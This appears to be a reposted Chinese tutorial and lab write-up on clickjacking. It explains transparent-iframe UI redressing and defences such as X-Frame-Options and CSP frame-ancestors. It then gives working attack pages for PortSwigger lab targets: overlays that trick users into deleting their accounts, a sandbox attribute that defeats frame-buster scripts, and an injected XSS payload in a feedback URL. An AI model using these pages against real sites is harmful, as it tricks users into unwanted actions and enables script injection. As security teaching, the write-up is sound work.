Clickjacking (UI redressing)点击劫持

一、基础知识

1. 什么是Clickjacking

点击劫持是一种基于界面的攻击,通过点击诱骗网站中的其他内容,用户被诱骗实际点击了隐藏的可操作内容。

可能是电子邮件中的链接,引诱用户点击按钮即可赢得奖品或平台点赞。他们被攻击者欺骗,按下了另一个隐藏按钮,这导致他们在另一个网站上支付了一个账户。这是点击劫持攻击的一个示例。这项技术依赖于将包含按钮或隐藏链接完全隐藏起来(完全透明)合并到IFRAME中。IFrame覆盖在用户预期的诱饵网页内容之上。
此攻击与CSRF攻击的不同之处在于,用户需要执行按钮单击等实际操作,而CSRF攻击依赖于在用户不知道或无输入的情况下伪造整个请求。

2. 点击劫持的标准代码

<head>
  <style>
    #target_website {
      
                <!--实际页面-->
      position:relative;
      width:128px;
      height:128px;
      opacity:0.00001;
      z-index:2;
    }
    #decoy_website {
      
                 <!--目标用户看到的页面(诱饵页面)-->
      position:absolute;
      width:300px;
      height:400px;
      z-index:1;
    }
  </style>
</head>
...
<body>
  <div id="decoy_website">
    ...decoy web content here...
  </div>
  <iframe id="target_website" src="https://vulnerable-website.com">
  </iframe>
</body>

目标网站IFRAME被定位在浏览器内,调整适当的宽度和高度位置值使目标动作与诱骗网站精确重叠。使用绝对和相对位置值来确保目标网站与诱饵准确重叠,而不考虑屏幕大小、浏览器类型和平台。

  • Z索引决定了iframe和网站层的堆叠顺序。
  • 不透明度值被定义为0.0(或接近0.0),以便iFrame内容对用户透明。

浏览器点击劫持保护可能会应用基于阈值的iFrame透明度检测(例如,Chrome版本76包括此行为,但Firefox不包括)。攻击者选择不透明值,以便在不触发保护行为的情况下实现所需效果。

3. 点击劫持的保护机制

浏览器端采用frame限制性脚本(frame拆分或frame拆分脚本);
服务器端采用X-Frame-Options and Content Security Policy

(1)X-Frame-Options

该头部标签提供了对iframe或对象的使用控制,可以使用Deny指令禁止在框架内网页;或可以使用Same Origin指令将框架限制为与网站相同的来源

X-Frame-Options: deny
X-Frame-Options: allow-from https://normal-website.com

(2)Content Security Policy (CSP)-内容安全策略

内容安全策略(CSP)是一种检测和预防机制,可缓解XSS和点击劫持等攻击。
策略是由分号分隔的一串策略指令。
CSP向客户端浏览器提供浏览器允许的Web资源来源的信息。

frame-ancestors 'none'

效果等同X-Frame-Options: deny

Content-Security-Policy: frame-ancestors 'self';

效果等同 X-Frame-Options sameorigin 同源

Content-Security-Policy: frame-ancestors normal-website.com;

使用内容安全策略来防止点击劫持比使用X-Frame-Options头更加灵活,因为您可以指定多个域并使用通配符。例如:

Content-Security-Policy: frame-ancestors 'self' https://normal-website.com https://*.robust-website.com

CSP还验证父frame中的每个frame,而X-Frame-Options仅验证顶级frame。

例题1

二、Clickjacking漏洞利用

1. 使用预填好的表单输入进行点击劫持

部分链接可以使用参数预制数据进行提交,由于值是URL的一部分,因此可以修改目标URL以包含攻击者选择的值,并将透明的“提交”按钮覆盖在诱骗站点上。

例题2

2. 绕过网站Clickjacking防护

Web浏览器实施的常见客户端保护是使用frame拆分或frame拆分脚本。这些可以通过专有的浏览器、JavaScript附加组件或扩展(如NoScrip)来实现。

  • 检查并强制当前应用程序窗口为主窗口或顶部窗口,
  • 使所有frame可见,
  • 防止点击不可见的frames,
  • 拦截并向用户标记潜在的点击劫持攻击。

基于以上如何绕过呢?

  • 浏览器的安全设置可能会阻止它们的操作,或者浏览器甚至可能不支持JavaScript。
  • 针对防护的解决方法是使用HTML5 iframe沙盒属性。如果使用allow-formsallow-scripts值进行设置,并且省略allow-top-navigation,则防护被破坏,但网页功能能正常触发。

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms"></iframe>

例题3

3. 与DOM XSS攻击相结合

以上介绍的内容,是将点击劫持视为一种独立的攻击。当点击劫持被用作另一种攻击(如DOM XSS攻击)的载体时,点击劫持的真正效力就会显现出来。

假设攻击者首先识别了XSS漏洞,则这种组合攻击的实现相对简单。将XSS漏洞利用与IFRAME目标URL组合在一起,以便用户单击按钮或链接,从而执行DOM XSS攻击。

4. 多步点击劫持

攻击者对目标网站的输入操作可能需要执行多个操作。

例如,攻击者可能想要诱骗用户从零售网站购买商品,因此在下单之前需要将商品添加到购物篮中。攻击者可以使用多个分区或iframe来实现这些操作。从攻击者的角度来看,这种攻击需要相当高的精确度和谨慎,如果它们要有效和隐形的话。

例题5

三、Clickjacking漏洞举例

1、使用CSRF令牌保护的基本点击劫持(Basic clickjacking with CSRF token protection)

发现两个数据包,需要验证CSRF和session即可删除账户。
尝试伪造页面,引诱目标用户自己删除自己的账户。
构造攻击页面

<style>
    iframe {
      
                       <!--真实个人详情页页面-->
        position:relative;
        width:500px;
        height: 700px;
        opacity: 0.1;
        z-index: 2;
    }
    div {
      
                           <!--test me 目标用户看到得引诱按钮-->
        position:absolute;
        top:300px;
        left:60px;
        z-index: 1;
    }
</style>
<div>Test me</div>
<iframe src="https://ac2a1ff81e997797c04e4c6900b70039.web-security-academy.net/my-account"></iframe>

2. 使用从URL参数预先填充的表单输入数据进行点击劫持(Clickjacking with form input data prefilled from a URL parameter

[email protected]"

<style>
    iframe {
      
      
        position:relative;
        width:500px;
        height: 700px;
        opacity: 0.1;
        z-index: 2;
    }
    div {
      
      
        position:absolute;
        top:460px;
        left:80px;
        z-index: 1;
    }
</style>
<div>Test me</div>
<iframe src="https://acf91f5c1eb227d2c05a486c007f00cf.web-security-academy.net/[email protected]"></iframe>

3. 使用frame拦截器脚本进行点击劫持(Clickjacking with a frame buster script)

跟上题一致,攻击后发现页面提示。发现使用frame拦截器脚本。

<script>
  if(top != self) {
      
      
    window.addEventListener("DOMContentLoaded", function() {
      
      
      document.body.innerHTML = 'This page cannot be framed';
    }, false);
  }
</script>

尝试使用sandbox="allow-forms"绕过,成功。

<style>
    iframe {
      
      
        position:relative;
        width:500px;
        height: 700px;
        opacity: 0.1;
        z-index: 2;
    }
    div {
      
      
        position:absolute;
        top:460px;
        left:80px;
        z-index: 1;
    }
</style>
<div>Test me</div>
<iframe src="https://ac891fe51f7ccba2c06ed45e0052000a.web-security-academy.net/[email protected]" sandbox="allow-forms"></iframe>

4. 利用点击劫持漏洞触发基于DOM的XSS(Exploiting clickjacking vulnerability to trigger DOM-based XSS)

在submit页面发现,提交反馈后,查看代码

function submitFeedback(method, path, encoding, personal, data) {
    
    
    var XHR = new XMLHttpRequest();
    XHR.open(method, path);
    if (personal) {
    
    
        XHR.addEventListener("load", displayFeedbackMessage(data.get('name')));
    }

function displayFeedbackMessage(name) {
    
    
  return function() {
    
    
    var feedbackResult = document.getElementById("feedbackResult");
    if (this.status === 200) {
    
    
      feedbackResult.innerHTML = "Thank you for submitting feedback" + (name ? ", " + name : "") + "!";
      feedbackForm.reset();
    } else {
    
    
      feedbackResult.innerHTML =  "Failed to submit feedback: " + this.responseText
    }
  }
}

(1)发现此处data由参数直接获取name(SOURCE), feedbackResult.innerHTML(SINK),存在标准存储型XSS
(2)再次测试/feedback,发现可以使用GET url参数提交内容
综上可尝试XSS配合点击劫持,攻击代码如下:

<style>
	iframe {
      
      
		position:relative;
		width:500px;
		height: 700px;
		opacity: 0.1;
		z-index: 2;
	}
	div {
      
      
		position:absolute;
		top:610;
		left:80;
		z-index: 1;
	}
</style>
<div>Test me</div>
<iframe
src="https://ace21f8c1f334678c0c28d4b001c00dd.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=[email protected]&subject=test&message=test#feedbackResult">
</iframe>

5. 多步点击劫持(Multistep clickjacking

浏览后发现,成功删除账户需要两部,点击删除,点击确认。

<style>
	iframe {
    
    
		position:relative;
		width:$width_value;
		height: $height_value;
		opacity: $opacity;
		z-index: 2;
	}
   .firstClick, .secondClick {
    
    
		position:absolute;
		top:$top_value1;
		left:$side_value1;
		z-index: 1;
	}
   .secondClick {
    
    
		top:$top_value2;
		left:$side_value2;
	}
</style>
<div class="firstClick">Test me first</div>
<div class="secondClick">Test me next</div>
<iframe src="$url"></iframe>  <!-$url 为账户明细页url-->

猜你喜欢

转载自blog.csdn.net/eason612/article/details/124760234